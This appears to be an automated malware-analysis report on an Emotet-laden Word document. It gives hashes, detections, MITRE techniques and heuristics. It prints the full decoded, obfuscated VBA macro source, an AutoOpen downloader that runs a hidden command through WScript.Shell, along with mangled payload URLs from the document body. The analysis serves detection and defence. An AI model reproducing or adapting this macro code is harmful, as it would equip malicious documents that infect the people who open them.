Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 11d3a960368ceea3…

MALICIOUS

Office (OLE)

156.0 KB Created: 2019-01-16 06:54:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: df32a7355c4287e12aeb44df58c5bd18 SHA-1: c118857f4260d061337360c6ba02bf136a299298 SHA-256: 11d3a960368ceea3387f2b25f5c488f84835ea9d04c01a9e8fe043e49bd02496
290 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros with an AutoOpen function, which is a common technique for Emotet. The macros utilize WScript.Shell to execute commands, indicating an intent to download and run a second-stage payload. The ClamAV detection also explicitly names Emotet.

Heuristics 9

  • ClamAV: Doc.Downloader.Emotet-10022072-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10022072-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set SleekPlasticBaconqb = Brandingai
auxiliarypd = "WscRipt.sHeLl"
   Set missioncriticaldm = vortalscz
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Directoraz = wirelessqr
orchestrationrz = Array(ebusinessct, Centralizedjr, Internationalhk, CreateObject("" + Plasticns + HeardIslandandMcDonaldIslandszb + auxiliarypd).Run!(("" + PracticalFreshCheesena + Horizontalrf + paymentqf + Granitelw + efficientjz.TextBox1) + copyingkn + Kidscp + Openarchitectedrj, 39 - 39), SDDnu, KidsBeautyKidszk, SavingsAccountmh)
   Set Clothinglv = RefinedMetalBikeko
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub autoopen()
blackum = LicensedCottonChipsjd
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://qwV1tmp[ssacp[sm/29c_1\hP6FK9sSE@http://p[stp[shp[s]sSEV1v+]gtV1+acp[sm/vzZMi_cPjZ@http://V1rV1mV1]fp[sp[ssSEacp[sm/w]f#\sy8_Mslz@http://iglp[sp[s-fp[srmV1tip[s]afr/t8lqf9pPP_ywVhz7_wqM.@http://wwwasp11sSEzmar+/XhDjpb_0sihee1v_+\LFk2 In document text (OLE body)
    • http://qwV1tmp[ssacp[sm/29c_1In document text (OLE body)
    • http://p[stp[shp[s]sSEV1v+]gtV1+acp[sm/vzZMi_cPjZ@http://V1rV1mV1]fp[sp[ssSEacp[sm/w]f#In document text (OLE body)
    • http://iglp[sp[s-fp[srmV1tip[s]afr/t8lqf9pPP_ywVhz7_wqM.@http://wwwasp11sSEzmar+/XhDjpb_0sihee1v_+In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8979 bytes
SHA-256: 39aeff85905cc436281f575ab2420bfccb57387a92528a70584e88a082cc5fb2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "efficientjz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"

Attribute VB_Name = "Woodenqw"
Function Gorgeousuk()
On Error Resume Next
   Set compressingfw = integratelc
Set overrideht = Berkshiredd
Select Case HomeLoanAccountri
         Case 111
            deliverablesjv = copywp
            depositdj = CLng(828)
         Case 579
            SDDso = CLng(666)
            streamlineoq = CDate(paymentcn)
            IndustrialIndustrialzv = Int(582)
         Case 849
            inputpz = Cos(usercentricmp)
            NewTaiwanDollarjd = ChrB(379)
            Runlq = depositas
 End Select
Set Turnpiketz = RSSam
   Set Avonpw = Brandlq
Set parsecm = GorgeousCottonChickenzk
Select Case Accountabilitycw
         Case 961
            Dynamicji = Cambridgeshireiw
            auxiliarywr = CLng(426)
         Case 868
            Forwardhw = CLng(550)
            protocolid = CDate(generatehh)
            Multilayeredqo = Int(828)
         Case 274
            Branchnj = Cos(Bedfordshirecd)
            tanhi = ChrB(824)
            Frontlinevl = optimalom
 End Select
Set SleekPlasticBaconqb = Brandingai
auxiliarypd = "WscRipt.sHeLl"
   Set missioncriticaldm = vortalscz
Set Seniorkc = interfaceom
Select Case Ruenm
         Case 949
            opticaliz = Roadvr
            SDDdj = CLng(440)
         Case 519
            IncredibleFreshSausagesth = CLng(722)
            ErgonomicFreshPantsfp = CDate(Homebq)
            Handcraftedmd = Int(449)
         Case 497
            Bedfordshireiw = Cos(neuraljh)
            opticalhh = ChrB(717)
            Tennesseehu = Irelandun
 End Select
Set capacitorzm = vortalska
   Set Intelligentwb = copyld
Set reciprocaltp = Licensedzi
Select Case mindsharewv
         Case 687
            Softlr = Investorjn
            adapterwz = CLng(380)
         Case 271
            paymentmi = CLng(747)
            PersonalLoanAccountqp = CDate(cyanwh)
            compressingon = Int(811)
         Case 766
            eyeballsnk = Cos(HandcraftedConcreteChickenoc)
            Functionalitymu = ChrB(611)
            missioncriticalfd = programdc
 End Select
Set Directoraz = wirelessqr
orchestrationrz = Array(ebusinessct, Centralizedjr, Internationalhk, CreateObject("" + Plasticns + HeardIslandandMcDonaldIslandszb + auxiliarypd).Run!(("" + PracticalFreshCheesena + Horizontalrf + paymentqf + Granitelw + efficientjz.TextBox1) + copyingkn + Kidscp + Openarchitectedrj, 39 - 39), SDDnu, KidsBeautyKidszk, SavingsAccountmh)
   Set Clothinglv = RefinedMetalBikeko
Set Facetofacebw = copyzi
Select Case JSONch
         Case 991
            paymentqb = Dataul
            GenericRubberBikezf = CLng(846)
         Case 1
            bandwidthkb = CLng(432)
            UnbrandedSoftChipshm = CDate(RSSjw)
            protocoltc = Int(251)
         Case 260
            quantifyingiu = Cos(Tastynp)
            Practicalzc = ChrB(625)
            withdrawalzk = Curvert
 End Select
Set AutoLoanAccounthu = invoicepv
   Set moratoriumlt = transparenthd
Set IcelandKronait = executiveuu
Select Case synthesizefw
         Case 438
            GorgeousConcreteHatqf = HomeLoanAccountfo
            ADPww = CLng(582)
         Case 767
            bluetoothqw = CLng(272)
            Kinazu = CDate(Directorqt)
            synthesizepw = Int(163)
         Case 798
            microchipzv = Cos(Customerfocusedwc)
            Berkshireuj = ChrB(782)
            benchmarkpd = bandwidthww
 End Select
Set nationalia = Integrationql
   Set userfacingmp = multistateti
Set deposittw = Drivesiz
Select Case CheckingAccountof
         Case 625
            Rubberpi = ivorywf
            Securityzp = CLng(545)
         Case 235
            generatesb = CLng(849)
            circuitii = CDate(Borderszn)
            driverzs = Int(377)
         Case 62
            cultivatepz = Cos(Ouguiyadw)
            webenabledpw = ChrB(338)
            reinventnd = backendsn
 End Select
Set Plasticta = HTTPpi
End Function


Attribute VB_Name = "generatesz"
Function Directvz()
Streetwz = opensourcepu
toolsetdz = clearthinkingzp
depositjz = Metalrz
enterprisern = Oklahomaip
Bedfordshirefq = calculatingtj
InvestmentAccountzb = LicensedConcreteTablewq
Villemi = Crossingzb
Vermontck = Licensedko
JSONui = modularvq
leadingedgeiz = UICFranclz
indexingdf = HandmadeFreshPizzauj
Userfriendlyut = Courtwq
End Function
Function Healthoz()
Metalwb = Outdoorsjv
monetizelf = MoldovanLeuqj
depositjn = HomeLoanAccountun
THXzs = Streetkf
Legacywb = HandcraftedMetalChickenzj
InvestmentAccountnk = CreditCardAccountip
firewallsk = LebanesePoundjm
SCSInf = productuf
whiteic = InvestmentAccounthw
arrayst = Fullyconfigurableuz
parseal = Gorgeousia
Plannerdr = Bordersmh
End Function
Sub autoopen()
blackum = LicensedCottonChipsjd
architecturescb = multitaskingmn
Expresswayio = overridingjp
enterprisewu = Crossgroupiq
Ferryos = Multichannelledov
HealthGardenAutomotiveda = withdrawalss
outoftheboxaa = Array(SmallSteelBalluw, CreditCardAccountlj, Ghanass, Gorgeousuk, Streamlinednw, IntelligentSteelCheesewj, SleekRubberTunaqq)
verticalsw = hackingvv
GraphicInterfacehp = porttk
Bedfordshirepj = Smallnm
overrideuf = Chiefbw
initiativessq = rebootuc
protocolci = transmitterij
End Sub
Function greynq()
GorgeousFrozenSaladls = applicationsjq
valueaddeddw = GorgeousFreshCarhn
alarmwj = Louisianapj
Distributedjq = Devolvedfd
Unbrandedab = bifurcatedvh
exploittd = feedzs
Producthw = applicationci
Chiefjl = Multilayeredzu
distributedvw = SSLvw
monitorjk = Rubbermf
GroceryMusiczz = seizena
hapticjn = Alaskalk
End Function

Attribute VB_Name = "definitionti"

Attribute VB_Name = "Consultantwi"

Attribute VB_Name = "Mauritiussn"

Attribute VB_Name = "Metalaf"

Attribute VB_Name = "Softcm"

Attribute VB_Name = "Assistantwh"

Attribute VB_Name = "Softfw"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "marketsji"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "HomeIndustrialvp"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Islandiv"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "calculatesf"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Steelnl"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "emarketsao"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "intranetrm"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Buckinghamshirewd"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

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